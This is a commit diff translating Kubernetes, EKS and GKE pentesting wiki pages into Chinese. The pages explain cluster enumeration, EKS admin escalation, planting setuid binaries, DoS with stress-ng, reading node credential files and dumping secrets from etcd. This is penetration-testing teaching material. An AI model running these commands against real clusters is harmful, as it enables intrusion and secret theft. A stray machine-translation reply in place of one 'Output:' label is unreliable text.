Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-val

This commit is contained in:
Translator
2026-07-09 09:23:01 +00:00
parent 732854f513
commit f928324593
11 changed files with 569 additions and 375 deletions
@@ -12,20 +12,20 @@
### 从 AWS Console 枚举 cluster
如果你有权限 **`eks:AccessKubernetesApi`**,你可以通过 AWS EKS console 查看 **Kubernetes objects** ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html))。
如果你有权限 **`eks:AccessKubernetesApi`**,你可以通过 AWS EKS console 查看 **Kubernetes objects** ([了解更多](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html))。
### 连接到 AWS Kubernetes Cluster
- Easy way:
- 简单方式:
```bash
# Generate kubeconfig
aws eks update-kubeconfig --name aws-eks-dev
```
- Not that easy way:
- 没那么简单的方式:
If you can **get a token** with **`aws eks get-token --name <cluster_name>`** but you don't have permissions to get cluster info (describeCluster), you could **prepare your own `~/.kube/config`**. However, having the token, you still need the **url endpoint to connect to** (if you managed to get a JWT token from a pod read [here](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) and the **name of the cluster**.
如果你可以通过 **`aws eks get-token --name <cluster_name>`** **获取 token**,但你没有获取 cluster infodescribeCluster)的权限,你可以**准备你自己的 `~/.kube/config`**。不过,即使有了 token,你仍然还需要要连接的 **url endpoint**(如果你已经从 pod 中拿到了 JWT token,可以在 [here](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token) 查看)以及 **cluster 的 name**
在我的情况下,我没有在 CloudWatch logs 中找到这些信息,但我**在 LaunchTemaplates userData 中找到了**,并且也**在 EC2 machines 的 userData 中找到了**。你可以很容易地在 **userData** 中看到这些信息,例如在下面这个例子中(cluster name 是 cluster-name):
在我的案例中,我没有在 CloudWatch logs 中找到这些信息,但我**在 LaunchTemaplates userData 中找到了**,并且也在 **EC2 machines 的 userData 中找到了**。你可以很容易地在 **userData** 中看到这些信息,例如在下面这个例子中(cluster name 是 cluster-name):
```bash
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
@@ -72,32 +72,32 @@ provideClusterInfo: false
### From AWS to Kubernetes
**EKS cluster****creator** **ALWAYS** 能够进入 kubernetes cluster 的 **`system:masters`** 组部分(k8s admin)。截至本文写作时,**没有直接方法**可以查出**是谁创建**了这个 cluster(你可以查看 CloudTrail)。并且**没有办法**移除这个**privilege**。
Historically, the **creator** of an **EKS cluster** received hidden Kubernetes admin access that was not visible in `aws-auth`. In current EKS clusters, this depends on the cluster access configuration. `bootstrapClusterCreatorAdminPermissions` controls whether the creator is added as a cluster-admin access entry during creation, and EKS access entries make that admin path visible and revocable through the EKS API. Older clusters or clusters that still rely on `aws-auth` might still have legacy creator behavior, so confirm the `accessConfig`, list access entries, and review CloudTrail instead of assuming the creator always has unremovable `system:masters`.
#### Abusing configmap
向更多 AWS IAM users roles 授予对 **K8s 的 access** 的传统方式是使用 **configmap** **`aws-auth`**
The traditional way to grant **access to over K8s to more AWS IAM users or roles** is using the **configmap** **`aws-auth`**.
> [!WARNING]
> 因此,任何对 config map **`aws-auth`** 有**write access** 的人都将能够**compromise the whole cluster**
> Therefore, anyone with **write access** over the config map **`aws-auth`** will be able to **compromise the whole cluster**.
关于如何在**同一或不同 account** 中向 IAM roles & users **grant extra privileges**,以及如何利用这一点进行 [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps)
For more information about how to **grant extra privileges to IAM roles & users** in the **same or different account** and how to **abuse** this to [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
也请查看[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**
Check also[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**.
#### Abusing Access Entries
AWS implementes 另一种通过 access entries 向 IAM users 授予对 Kubernetes cluster 访问权限的方法。如果你拥有 `eks:CreateAccessEntry` `eks:AssociateAccessPolicy` 权限,你也可能能够将 Kubernetes administrator role 分配给你的 user 或某个特定 rol
AWS implements an additional way to grant IAM users access to the Kubernetes cluster through access entries. If you have the `eks:CreateAccessEntry` and `eks:AssociateAccessPolicy` permissions, you may also be able to assign a Kubernetes administrator role to either your user or a specific role.
首先,**为你的 user 或 role 创建一个 access entry**
First, **create an access entry for your user or role**:
```
aws eks create-access-entry --cluster-name <cluster_name> --region <region> --principal-arn <arn_from_your_user_or_role> --type STANDARD
```
使用该 entry 创建后,你现在可能可以直接为其分配一个 policy。AWS 有一个内置 policy叫做 *AmazonEKSClusterAdminPolicy*,可以直接使用。请记住,如果你的环境中还有其他自定义 policies 也授予了 EKS 中的 elevated privileges,你可以将 `--policy-arn` 改为其中任一个:
创建该条目后,你现在也许可以直接为其分配一个 policy。AWS 有一个内置 policy名为 *AmazonEKSClusterAdminPolicy*,可以直接使用。请注意,如果你的环境中还有其他同样在 EKS 中授予提升权限的自定义 policies,你可以将 `--policy-arn` 改为其中任一个:
```
aws eks associate-access-policy --cluster-name <cluster_name> --region <region> --principal-arn <arn_from_your_user_or_role> --policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy --access-scope type=cluster
```
你可以在 AWS 官方文档 [**here**](https://docs.aws.amazon.com/eks/latest/userguide/access-policy-permissions.html#access-policy-permissions-amazoneksclusteradminpolicy) 搜索这个 policy
你可以在 AWS 官方文档 [**here**](https://docs.aws.amazon.com/eks/latest/userguide/access-policy-permissions.html#access-policy-permissions-amazoneksclusteradminpolicy) 搜索这个 policy
从这一点开始,你现在可能可以请求一个 *k8s* token,并以管理员身份与集群交互:
```
@@ -105,20 +105,20 @@ aws eks get-token --cluster-name <cluster_name> --output json | jq -r '.status.t
```
### From Kubernetes to AWS
可以 **OpenID authentication for kubernetes service account** 进行配置,使其能够在 AWS 中 assume roles。了解 [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1)。
可以允许 **OpenID authentication for kubernetes service account**,以便让它们在 AWS 中 assume roles。了解[**这如何工作在此页面**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1)。
### GET Api Server Endpoint from a JWT Token
解码 JWT token 后,我们可以得到 cluster id 和 region。 ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) 已知 EKS url 的标准格式
JWT token 进行解码后,我们得到 cluster id 和 region。 ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) 已知 EKS url 的标准格式
```bash
https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
```
没有找到任何说明 'two chars' 和 'number' 标准的文档。不过我自己做了一些测试,发现这些会反复出现:
没有找到任何文档来解释 `'two chars'``'number'` 的判定标准。不过我自己做了一些测试,发现这些会反复出现:
- gr7
- yl4
不过反正只有 3 个字符,我们可以 bruteforce 它们。使用下面的 script 生成列表
反正只有 3 个 chars,我们可以 brute force 这些。使用下面的 script 生成 list
```python
from itertools import product
from string import ascii_lowercase
@@ -4,7 +4,7 @@
## Containers
在 GCP containers 中,你可以找到 GCP 提供的大多数基于 containers 的服务,这里你可以看如何枚举最常见的那些:
在 GCP containers 中,你可以找到 GCP 提供的大多数基于 containers 的 services,这里你可以看如何枚举最常见的 ones:
```bash
gcloud container images list
gcloud container images list --repository us.gcr.io/<project-name> #Search in other subdomains repositories
@@ -24,7 +24,7 @@ sudo docker pull HOSTNAME/<project-name>/<image-name>
```
### Privesc
在以下页面中,你可以查看如何 **abuse container permissions to escalate privileges**
在以下页面中,你可以查看如何**滥用 container 权限来提升权限**
{{#ref}}
../gcp-privilege-escalation/gcp-container-privesc.md
@@ -32,7 +32,7 @@ sudo docker pull HOSTNAME/<project-name>/<image-name>
## Node Pools
这些是成 kubernetes clusters 的 machinesnodespool
这些是成 kubernetes clusters 的机器nodes
```bash
# Pool of machines used by the cluster
gcloud container node-pools list --zone <zone> --cluster <cluster>
@@ -46,29 +46,29 @@ gcloud container node-pools describe --cluster <cluster> --zone <zone> <node-poo
../../kubernetes-security/
{{#endref}}
首先,你可以检查项目中是否存在任何 Kubernetes 集群。
首先,你可以检查你的项目中是否存在任何 Kubernetes 集群。
```
gcloud container clusters list
```
如果你有一个 cluster,你可以让 `gcloud` 自动配置你的 `~/.kube/config` 文件。这个文件用于在你使用 [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/) 时进行身份验证,`kubectl` 是用于与 K8s clusters 交互的原生 CLI。试试这个命令。
如果你有一个集群,你可以让 `gcloud` 自动配置你的 `~/.kube/config` 文件。这个文件在你使用 [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/) 时用于对你进行身份验证,`kubectl` 是用于与 K8s 集群交互的原生 CLI。试试这个命令。
```
gcloud container clusters get-credentials [CLUSTER NAME] --region [REGION]
```
然后,查看 `~/.kube/config` 文件以查看生成的凭据。文件将用于基于你当前 `gcloud` 会话所使用的同一身份自动刷新 access tokens。当然,这需要已正确配置相应权限。
然后,查看 `~/.kube/config` 文件以查看生成的凭据。这个文件将被用来基于你当前活动的 `gcloud` 会话所使用的同一身份自动刷新 access tokens。当然,这需要已正确配置相应权限。
一旦设置完成,你可以尝试以下命令来获取集群配置
设置完成,你可以尝试以下命令来获取 cluster configuration
```
kubectl cluster-info
```
You can read more about `gcloud` for containers [here](https://cloud.google.com/sdk/gcloud/reference/container/).
你可以在[这里](https://cloud.google.com/sdk/gcloud/reference/container/)阅读更多关于 `gcloud` 的内容。
This is a simple script to enumerate kubernetes in GCP: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
这是一个用于在 GCP 中枚举 kubernetes 的简单脚本:[https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
### Current GKE identity and metadata checks
When reviewing modern GKE clusters, separate Google Cloud IAM permissions, Kubernetes RBAC, pod workload identity, and node credentials. A Google principal can often retrieve cluster endpoint data with `container.clusters.get`, but the resulting Kubernetes requests still need to pass GKE/Kubernetes authorization and any network restrictions such as private endpoints or authorized networks.
在检查现代 GKE 集群时,要区分 Google Cloud IAM permissionsKubernetes RBACpod workload identity node credentialsGoogle principal 通常可以通过 `container.clusters.get` 获取 cluster endpoint data,但后续的 Kubernetes requests 仍然需要通过 GKE/Kubernetes authorization,并且还要满足任何 network restrictions,例如 private endpoints authorized networks
Workload Identity Federation for GKE is the preferred way for pods to access Google Cloud APIs. Check whether the cluster has a workload pool and whether Kubernetes service accounts are mapped directly as IAM principals or are allowed to impersonate IAM service accounts:
Workload Identity Federation for GKE 是 pods 访问 Google Cloud APIs 的首选方式。检查集群是否有 workload pool,以及 Kubernetes service accounts 是否直接映射为 IAM principals,或者是否被允许 impersonate IAM service accounts
```bash
gcloud container clusters describe <cluster> --region <region> \
--format='value(workloadIdentityConfig.workloadPool)'
@@ -76,33 +76,47 @@ gcloud container clusters describe <cluster> --region <region> \
kubectl get serviceaccounts -A -o yaml | grep -n 'iam.gke.io' -B 5 -A 8
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName'
```
如果某个 service account 带有 `iam.gke.io/gcp-service-account` 注解,请检查 IAM service account policy 中是否存在授予 Kubernetes service account principals 的 `roles/iam.workloadIdentityUser` 权限。同时也要检查 IAM allow policies看是否存在直接的 workload identity principals过于宽泛的 principal sets。
如果某个 service account 带有注解 `iam.gke.io/gcp-service-account`,请检查 IAM service account policy 中是否存在 Kubernetes service account principals 的 `roles/iam.workloadIdentityUser` 授权。还要检查 IAM allow policies看是否直接的 workload identity principals,或者过于宽泛的 `principalSet://` 授权,例如按 namespace 或 cluster 级别的 workload access。注解 `iam.gke.io/credential-quota-project` 只是把 IAM Service Account Credentials API quota 移到另一个 projectworkload principal 仍然需要在该 quota project 上有 `serviceusage.services.use`,并且还需要对目标资源的单独 IAM access。
Metadata 访问取决于 cluster 模式、node pool 配置和 workload 设置。不要假设每个 pod 都能窃取 node service account。在启用 Workload Identity 的环境中,普通 pod 应该使用 GKE metadata server 获取其 Kubernetes service account 对应的 workload identity。node compromise、某些 Standard 配置中的 `hostNetwork` pods,以及旧 node metadata 暴露,仍然会改变影响范围,所以要核实实际的 node pool metadata 模式、node service account、OAuth scopes 和 pod 放置情况
Metadata access 取决于 cluster mode、node pool configuration 和 workload settings。不要假设每个 pod 都能窃取 node service account。在启用 Workload Identity 的环境中,普通 pod 应该使用 GKE metadata server 获取其 Kubernetes service account 对应的 workload identity。node compromise、某些 Standard 配置中的 `hostNetwork` pods,以及旧 node metadata exposure,仍然会改变影响范围,因此要验证实际的 node pool metadata mode、node service account、OAuth scopes 和 pod placement
如果启用了 Workload Identity 的 pod 无法获取 token,也要先检查 NetworkPolicy egress,再判断是否是 IAM binding 配置错误。使用 NetworkPolicy 的 GKE Standard clusters 必须允许该 cluster version 和 dataplane 所需的 metadata-server path,而 Dataplane V2 使用 `169.254.169.254` path 进行 metadata-server access。
### Autopilot privileged workload allowlists
GKE Autopilot 默认会阻止大多数 privileged workloads,但可能存在已批准的例外。在断定 privileged pod 不可能存在之前,请检查 privileged admission settings、`AllowlistSynchronizer` objects,以及已安装的 `WorkloadAllowlist` objects
```bash
gcloud container clusters describe <cluster> --region <region> \
--format='yaml(autopilot,privilegedAdmissionConfig,clusterPolicyConfig)'
kubectl get allowlistsynchronizers.auto.gke.io -A -o yaml
kubectl get workloadallowlists.auto.gke.io -A -o yaml
```
Allowlist paths can be GKE-owned (`gke://...`) or customer-owned Cloud Storage paths (`gs://...`). Wildcards and broad bucket paths increase the blast radius because future allowlist files under that path might become valid for the cluster. When a `WorkloadAllowlist` is installed, compare its exemptions and matching criteria to the pod spec, especially image digests, host namespaces, writable hostPath mounts, host ports, Linux capabilities, and whether `autopilot.gke.io/no-connect` prevents `exec` access to the privileged workload.
### TLS Boostrap Privilege Escalation
最初,这种 privilege escalation 技术允许在 **GKE cluster 内进行 privesc**,实际上使攻击者能够 **完全 compromise **
Initially this privilege escalation technique allowed to **privesc inside the GKE cluster** effectively allowing an attacker to **fully compromise it**.
这是因为 GKE 会在 metadata 中提供 [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/),而这些内容 **只要 compromise 一个 pod 就能被任何人访问**
This is because GKE provides [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) in the metadata, which is **accessible by anyone by just compromising a pod**.
所使用的技术在以下帖子中有说明:
The technique used is explained in the following posts:
- [https://www.4armed.com/blog/hacking-kubelet-on-gke/](https://www.4armed.com/blog/hacking-kubelet-on-gke/)
- [https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/](https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/)
- [https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)
还有这个 tool 是为了自动化该过程而创建的:[https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
Ans this tool was created to automate the process: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
然而,这种技术滥用了一个事实:使用 **metadata credentials** 可以为一个 **new node** 生成 CSRCertificate Signing Request),并且它会被 **automatically approved**\
在我的测试中,我检查到 **这些请求现在不再会被自动批准**,所以我不确定这种技术是否仍然有效。
However, the technique abused the fact that **with the metadata credentials** it was possible to **generate a CSR** (Certificate Signing Request) for a **new node**, which was **automatically approved**.\
In my test I checked that **those requests aren't automatically approved anymore**, so I'm not sure if this technique is still valid.
### Secrets in Kubelet API <a href="#the-kubelet-api-git-secrets-redux" id="the-kubelet-api-git-secrets-redux"></a>
[**this post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) 中发现了一个位于 GKE 的 pod 内部可访问的 Kubelet API address,它提供了正在运行的 pods 的详细信息:
In [**this post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) it was discovered it was discovered a Kubelet API address accesible from inside a pod in GKE giving the details of the pods running:
```
curl -v -k http://10.124.200.1:10255/pods
```
即使 API **不允许修改资源**,也可能在响应中找到**敏感信息**。端点 /pods 是使用 [**Kiterunner**](https://github.com/assetnote/kiterunner) 发现的。
即使 API **不允许修改资源**,也可能在响应中找到**敏感信息**。端点 /pods 是使用 [**Kiterunner**](https://github.com/assetnote/kiterunner) 发现的。
{{#include ../../../banners/hacktricks-training.md}}
@@ -45,7 +45,7 @@ TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path
# Quick practical test
printf "ping\n" > "$TEST_DIR/.w"
```
容器中植入一个 setuid root 二进制文件
container 中植入一个 setuid root binary
```bash
# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory
@@ -94,11 +94,11 @@ As you are inside the Kubernetes environment, if you cannot escalate privileges
```
kubectl get svc --all-namespaces
```
默认情况下,Kubernetes 使用平坦的网络架构,这意味着**集群内的任何 pod/service 都可以与其他对象通信**。集群中的**namespaces** 默认**没有任何网络安全限制**。namespace 中的任何人都可以与其他 namespaces 通信。
默认情况下,Kubernetes 使用扁平的 networking schema,这意味着**集群内的任何 pod/service 都可以互相通信**。集群中的**namespaces** 默认**没有任何网络安全限制**。namespace 中的任何人都可以与其他 namespaces 通信。
### Scanning
面的 Bash 脚本(取自一个 [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md))将安装并扫描 kubernetes 集群的 IP ranges
下 Bash script(取自一个 [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md))将安装并扫描 kubernetes cluster 的 IP ranges
```bash
sudo apt-get update
sudo apt-get install nmap
@@ -117,7 +117,7 @@ nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover
```
查看以下页面,了解如何**攻击 Kubernetes 特定服务****compromise 其他 pods/整个环境**
查看以下页面,了解如何**攻击 Kubernetes specific services****compromise other pods/all the environment**
{{#ref}}
pentesting-kubernetes-services/
@@ -125,12 +125,12 @@ pentesting-kubernetes-services/
### Sniffing
如果**compromise pod 正在运行某个敏感服务**,而其他 pods 需要对其进行认证,那么你可能能够通过**sniffing 本地通信**获取其他 pods 发送的 credentials。
如果**compromised pod 正在运行某个敏感 service**,而其他 pods 需要认证,你也许可以通过**sniffing local communications**获取其他 pods 发送的 credentials。
## Network Spoofing
默认情况下,像**ARP spoofing**(以及由此带来的**DNS Spoofing**)这类技术在 kubernetes network 中是可行的。于是,在一个 pod 内,如果你有**NET_RAW capability**(默认就有),你就可以发送自定义构造的 network packets,并通过 **ARP Spoofing 对同一节点上运行的所有 pods 执行 MitM attacks**\
此外,如果**恶意 pod**与**DNS Server**运行在**同一节点**上,你能够对集群中的**所有 pods**执行 **DNS Spoofing attack**
默认情况下,像 **ARP spoofing** 这样的技术(以及由此带来的 **DNS Spoofing**在 kubernetes network 中是可行的。然后,在一个 pod 内,如果你有 **NET_RAW capability**(默认就有),你就能够发送自定义构造的 network packets,并对**同一 node 上运行的所有 pods**执行通过 ARP Spoofing 的 **MitM attacks**\
此外,如果**恶意 pod**与 **DNS Server** 运行在**同一个 node** 上,你能够对集群中的所有 pods 发起 **DNS Spoofing attack**
{{#ref}}
kubernetes-network-attacks.md
@@ -138,25 +138,25 @@ kubernetes-network-attacks.md
## Node DoS
Kubernetes manifests 中没有对资源进行 specification并且 containers 没有应用 limit ranges。作为攻击者,我们可以**耗 pod/deployment 运行所在的所有资源**,让其他资源饥饿,从而对环境造成 DoS。
Kubernetes manifests 中没有对 resources 进行 specification而且容器也**没有 applied limit** ranges。作为攻击者,我们可以**耗 pod/deployment 运行所在的所有 resources**,让其他 resources 资源匮乏,并对环境造成 DoS。
这可以借助像 [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng) 这样的 tool 来实现
这可以使用像 [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng) 这样的 tool 来完成
```
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
```
你可以看到在运行 `stress-ng` 期间和之后的区别
你可以看到在运行 `stress-ng` 和之后的区别
```bash
kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx
```
## Node Post-Exploitation
If you managed to **escape from the container** there are some interesting things you will find in the node:
如果你成功**escape from the container**,在 node 上你会发现一些有意思的东西:
- The **Container Runtime** process (Docker)
- More **pods/containers** running in the node you can abuse like this one (more tokens)
- The whole **filesystem** and **OS** in general
- The **Kube-Proxy** service listening
- The **Kubelet** service listening. Check config files:
- **Container Runtime** process (Docker)
- 在 node 上运行的更多 **pods/containers**,你可以像这样利用它们(更多 tokens
- 整个 **filesystem** 和一般的 **OS**
- 正在监听的 **Kube-Proxy** service
- 正在监听的 **Kubelet** service。检查 config files
- Directory: `/var/lib/kubelet/`
- `/var/lib/kubelet/kubeconfig`
- `/var/lib/kubelet/kubelet.conf`
@@ -164,21 +164,27 @@ If you managed to **escape from the container** there are some interesting thing
- `/var/lib/kubelet/kubeadm-flags.env`
- `/etc/kubernetes/kubelet-kubeconfig`
- `/etc/kubernetes/admin.conf` --> `kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system`
- Other **kubernetes common files**:
- 其他 **kubernetes common files**
- `$HOME/.kube/config` - **User Config**
- `/etc/kubernetes/kubelet.conf`- **Regular Config**
- `/etc/kubernetes/bootstrap-kubelet.conf` - **Bootstrap Config**
- `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration**
- `/etc/kubernetes/pki` - **Kubernetes Key**
### Image Pull and Registry Credentials
在获得 node 访问权限后,也要检查 node 如何拉取 private images。可利用的证据包括 runtime image metadata`crictl images`)、Pod 或 ServiceAccount 的 `imagePullSecrets`、containerd registry 配置如 `/etc/containerd/config.toml``/etc/containerd/certs.d`,以及 kubelet image credential provider 标志如 `--image-credential-provider-config``--image-credential-provider-bin-dir`
不要假设缓存中的 private image 就意味着你拥有可复用的 registry credentials。它可能只能证明这个 image 在这台 node 上存在。不过,静态的 runtime registry credentials、Docker config JSON pull secrets,或者能够生成短期 pull credentials 的 credential provider,可能会暴露 private registry 访问权限。较新的 Kubernetes 版本也支持基于 service-account-token 的 kubelet credential providers 用于 image pulls,所以在报告影响前,检查 provider 是否使用了 Pod 绑定的 service account tokens,以及它请求了哪个 audience。
### Find node kubeconfig
If you cannot find the kubeconfig file in one of the previously commented paths, **check the argument `--kubeconfig` of the kubelet process**:
如果你在之前提到的路径中找不到 kubeconfig file**检查 kubelet process 的参数 `--kubeconfig`**
```
ps -ef | grep kubelet
root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal
```
### 取 Secrets
### 取 Secrets
```bash
# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system
@@ -199,20 +205,20 @@ echo ""
fi
done
```
脚本 [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) 会自动**获取其他 pods 的 tokens 并检查它们是否拥有**你正在寻找的权限(而不是你个去):
脚本 [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) 会自动**获取其他 pods 的 tokens 并检查它们是否拥有**你正在寻找的 permission(而不是你一个一个去):
```bash
./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code
```
### Privileged DaemonSets
DaemonSet 是一个会在**集群的所有节点**上**运行**的 **pod**。因此,如果一个 DaemonSet 配置了**privileged service account**那么在**所有节点**上,你都找到这个**privileged service account****token**,并且可以加以利用
DaemonSet 是一个会在**集群的所有节点**上**运行**的 **pod**。因此,如果 DaemonSet 配置了一个**privileged service account,** 那么在**所有节点**上,你都可以找到这个**privileged service account****token**,并且可以对其进行 abuse
利用方式和上一节一样,但现在你不再依赖运气。
这个 exploit 和上一节中的相同,但现在你不再依赖运气。
### Pivot to Cloud
如果集群由云服务托管,通常 **Node** 对 metadata endpoint 的访问会与 Pod 不同。因此,尝试**从 node**(或者从 hostNetwork 为 True 的 pod**访问 metadata endpoint**
如果集群由 cloud service 托管,通常 **Node 对 metadata** endpoint 的访问会与 Pod 不同。因此,尝试从 **node**(或者从 `hostNetwork` 为 True 的 pod**访问 metadata endpoint**
{{#ref}}
kubernetes-pivoting-to-clouds.md
@@ -220,26 +226,26 @@ kubernetes-pivoting-to-clouds.md
### Steal etcd
如果你可以指定运行容器的节点的 [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node),就在 control-plane 节点中获取 shell,并获取 **etcd database**
如果你可以指定运行容器的节点的 [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node),就在一个 control-plane 节点中获取 shell,并拿到 **etcd database**
```
kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-control-plane Ready master 93d v1.19.1
k8s-worker Ready <none> 93d v1.19.1
```
control-plane nodes **role master**,并且在 **cloud managed clusters** 中你无法在其上运行任何东西。
control-plane nodes have the **role master** and in **cloud managed clusters you won't be able to run anything in them**.
#### 从 etcd 读取 secrets 1
如果你可以使用 pod spec 中的 `nodeName` 选择器将 pod 运行在 control-plane node 上,那么你可能可以轻松访问 `etcd` database,其中包含 cluster 的所有配置,包括所有 secrets
If you can run your pod on a control-plane node using the `nodeName` selector in the pod spec, you might have easy access to the `etcd` database, which contains all of the configuration for the cluster, including all secrets.
下面是一种快速而粗糙的方法:如果 `etcd` 正好运行在你所在的 control-plane node 上,就从 `etcd` 中抓取 secrets。如果你想要一个更优雅的方案:启动一个带有 `etcd` client utility `etcdctl` 的 pod,并使用 control-plane node credentials 去连接运行中的 etcd,请查看 @mauilion [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml)
Below is a quick and dirty way to grab secrets from `etcd` if it is running on the control-plane node you are on. If you want a more elegant solution that spins up a pod with the `etcd` client utility `etcdctl` and uses the control-plane node's credentials to connect to etcd wherever it is running, check out [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) from @mauilion.
**检查 `etcd` 是否运行在 control-plane node 上,并查看 database 在哪里(这是在一个 `kubeadm` 创建的 cluster 上)**
**Check to see if `etcd` is running on the control-plane node and see where the database is (This is on a `kubeadm` created cluster)**
```
root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
```
Output:
当然,请提供需要翻译的具体内容。
```bash
data-dir=/var/lib/etcd
```
@@ -251,28 +257,29 @@ strings /var/lib/etcd/member/snap/db | less
```bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
```
**相同命令,但加上一些 greps 返回 kube-system 命名空间中的 default token**
**相同命令,但通过一些 greps 返回 kube-system 命名空间中的默认 token**
```bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
```
输出:
```markdown
```
```
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
```
#### 从 etcd 2 读取 secrets [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
1. Create a snapshot of the **`etcd`** database. Check [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) for further info.
2. Transfer the **`etcd`** snapshot out of the node in your favourite way.
3. Unpack the database:
1. 创建 **`etcd`** 数据库的快照。查看 [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) 获取更多信息。
2. 以你喜欢的方式将 **`etcd`** 快照传出节点。
3. 解包数据库:
```bash
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
```
4. 在本地机器上启动 **`etcd`**,并让它使用被盗的 snapshot
4.你的本地机器上启动 **`etcd`**,并让它使用被盗的 snapshot
```bash
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'
```
5. 列出所有 secrets:
5. 列出所有 secrets:
```bash
etcdctl get "" --prefix --keys-only | grep secret
```
@@ -328,10 +335,10 @@ hostPath:
path: /
type: Directory
```
